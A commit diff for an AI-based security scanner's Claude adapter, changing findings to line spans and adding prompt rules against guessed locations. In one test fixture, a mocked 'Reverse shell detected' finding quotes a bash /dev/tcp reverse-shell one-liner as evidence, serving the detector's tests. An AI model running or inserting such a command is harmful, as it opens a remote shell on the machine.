fix: ensure that Claude will hallucinate less the code lines (#18)

* fix: ensure that Claude will hallucinate less the code lines

* Add changeset

Author: julio-rocketchat

.changeset/ten-papayas-enjoy.md

@@ -0,0 +1,5 @@
+---
+"layne": patch
+---
+
+Fixes an issue in the Claude adapter that makes it hallucinate code lines when reporting it

src/__tests__/adapters/claude.test.js

@@ -109,10 +109,14 @@ describe('runClaude()', () => {
     mockReadFile.mockResolvedValueOnce(DUMMY_CONTENT);
     mockCreate.mockResolvedValueOnce(findingResponse([{
       file:     'src/app.js',
-      line:     42,
+      startLine: 42,
+      endLine: 42,
+      anchorKind: 'line',
+      anchorLine: 42,
       severity: 'high',
       message:  'Reverse shell detected',
       ruleId:   'reverse-shell',
+      evidence: 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1',
     }]));
 
     const findings = await runClaude({
@@ -125,8 +129,13 @@ describe('runClaude()', () => {
     expect(findings[0]).toMatchObject({
       file:     'src/app.js',
       line:     42,
+      startLine: 42,
+      endLine: 42,
+      anchorKind: 'line',
+      anchorLine: 42,
       severity: 'high',
       message:  'Reverse shell detected',
+      evidence: 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1',
       ruleId:   'claude/reverse-shell',
       tool:     'claude',
     });
@@ -135,8 +144,8 @@ describe('runClaude()', () => {
   it('returns multiple findings', async () => {
     mockReadFile.mockResolvedValue(DUMMY_CONTENT);
     mockCreate.mockResolvedValueOnce(findingResponse([
-      { file: 'a.js', line: 1, severity: 'high',   message: 'bad', ruleId: 'r1' },
-      { file: 'b.js', line: 2, severity: 'medium', message: 'meh', ruleId: 'r2' },
+      { file: 'a.js', startLine: 1, endLine: 1, severity: 'high',   message: 'bad', ruleId: 'r1', evidence: 'bad' },
+      { file: 'b.js', startLine: 2, endLine: 3, severity: 'medium', message: 'meh', ruleId: 'r2', evidence: 'meh' },
     ]));
 
     const findings = await runClaude({
@@ -146,6 +155,8 @@ describe('runClaude()', () => {
     });
 
     expect(findings).toHaveLength(2);
+    expect(findings[0].startLine).toBe(1);
+    expect(findings[1].endLine).toBe(3);
     expect(findings[0].ruleId).toBe('claude/r1');
     expect(findings[1].ruleId).toBe('claude/r2');
   });
@@ -272,4 +283,46 @@ describe('runClaude()', () => {
 
     expect(mockCreate).toHaveBeenCalledTimes(1);
   });
+
+  it('numbers file lines and includes changed line ranges in the prompt', async () => {
+    mockReadFile.mockResolvedValueOnce('first();\nsecond();');
+    mockCreate.mockResolvedValueOnce(cleanResponse());
+
+    await runClaude({
+      workspacePath: WORKSPACE,
+      changedFiles: CHANGED_FILES,
+      changedLineRanges: { 'src/app.js': [{ start: 2, end: 2 }] },
+      toolConfig: ENABLED_CONFIG,
+    });
+
+    const callArgs = mockCreate.mock.calls[0][0];
+    const userContent = callArgs.messages[0].content;
+    expect(callArgs.system).toContain('copy a short exact evidence snippet verbatim');
+    expect(callArgs.system).toContain('Do not guess locations');
+    expect(userContent).toContain('Changed lines in this PR: 2-2');
+    expect(userContent).toContain('1 | first();');
+    expect(userContent).toContain('2 | second();');
+  });
+
+  it('accepts legacy line-only findings and normalizes them into spans', async () => {
+    mockReadFile.mockResolvedValueOnce(DUMMY_CONTENT);
+    mockCreate.mockResolvedValueOnce(findingResponse([{
+      file: 'src/app.js',
+      line: 7,
+      severity: 'high',
+      message: 'legacy shape',
+      ruleId: 'legacy',
+      evidence: 'console.log("hello");',
+    }]));
+
+    const [finding] = await runClaude({
+      workspacePath: WORKSPACE,
+      changedFiles: CHANGED_FILES,
+      toolConfig: ENABLED_CONFIG,
+    });
+
+    expect(finding.line).toBe(7);
+    expect(finding.startLine).toBe(7);
+    expect(finding.endLine).toBe(7);
+  });
 });

src/__tests__/dispatcher.test.js

@@ -29,6 +29,7 @@ const { dispatch }       = await import('../dispatcher.js');
 const BASE = {
   workspacePath: '/tmp/ws',
   changedFiles:  ['src/app.js', 'src/utils.js'],
+  changedLineRanges: { 'src/app.js': [{ start: 2, end: 4 }] },
   baseSha:       'abc123',
   baseRef:       'main',
   labels:        [],
@@ -134,6 +135,7 @@ describe('dispatch()', () => {
     await dispatch(BASE);
     expect(runClaude).toHaveBeenCalledWith(expect.objectContaining({
       toolConfig: { enabled: false, model: 'claude-haiku-4-5-20251001' },
+      changedLineRanges: { 'src/app.js': [{ start: 2, end: 4 }] },
     }));
   });
 

src/__tests__/fetcher.test.js

@@ -17,7 +17,7 @@ vi.mock('child_process', () => ({
   execFile: mockExecFile,
 }));
 
-const { createWorkspace, setupRepo, getChangedFiles, checkoutFiles, cleanupWorkspace } = await import('../fetcher.js');
+const { createWorkspace, setupRepo, getChangedFiles, getChangedLineRanges, checkoutFiles, cleanupWorkspace } = await import('../fetcher.js');
 
 // ---------------------------------------------------------------------------
 // Helpers
@@ -179,6 +179,51 @@ describe('getChangedFiles()', () => {
 
 // ---------------------------------------------------------------------------
 
+describe('getChangedLineRanges()', () => {
+  beforeEach(() => vi.clearAllMocks());
+
+  it('parses added and modified line ranges from a zero-context diff', async () => {
+    mockExecFile.mockImplementationOnce((cmd, args, cb) => cb(null, [
+      'diff --git a/src/app.js b/src/app.js',
+      '--- a/src/app.js',
+      '+++ b/src/app.js',
+      '@@ -2,0 +3,2 @@',
+      '+x',
+      '+y',
+      'diff --git a/src/util.js b/src/util.js',
+      '--- a/src/util.js',
+      '+++ b/src/util.js',
+      '@@ -10 +10 @@',
+      '-old',
+      '+new',
+    ].join('\n'), ''));
+
+    const ranges = await getChangedLineRanges({ workspacePath: '/tmp/ws', baseSha: 'b', headSha: 'h' });
+
+    expect(ranges).toEqual({
+      'src/app.js': [{ start: 3, end: 4 }],
+      'src/util.js': [{ start: 10, end: 10 }],
+    });
+  });
+
+  it('ignores deleted hunks that have no lines in the head revision', async () => {
+    mockExecFile.mockImplementationOnce((cmd, args, cb) => cb(null, [
+      'diff --git a/src/app.js b/src/app.js',
+      '--- a/src/app.js',
+      '+++ b/src/app.js',
+      '@@ -5,2 +5,0 @@',
+      '-x',
+      '-y',
+    ].join('\n'), ''));
+
+    const ranges = await getChangedLineRanges({ workspacePath: '/tmp/ws', baseSha: 'b', headSha: 'h' });
+
+    expect(ranges).toEqual({ 'src/app.js': [] });
+  });
+});
+
+// ---------------------------------------------------------------------------
+
 describe('checkoutFiles()', () => {
   beforeEach(() => {
     vi.clearAllMocks();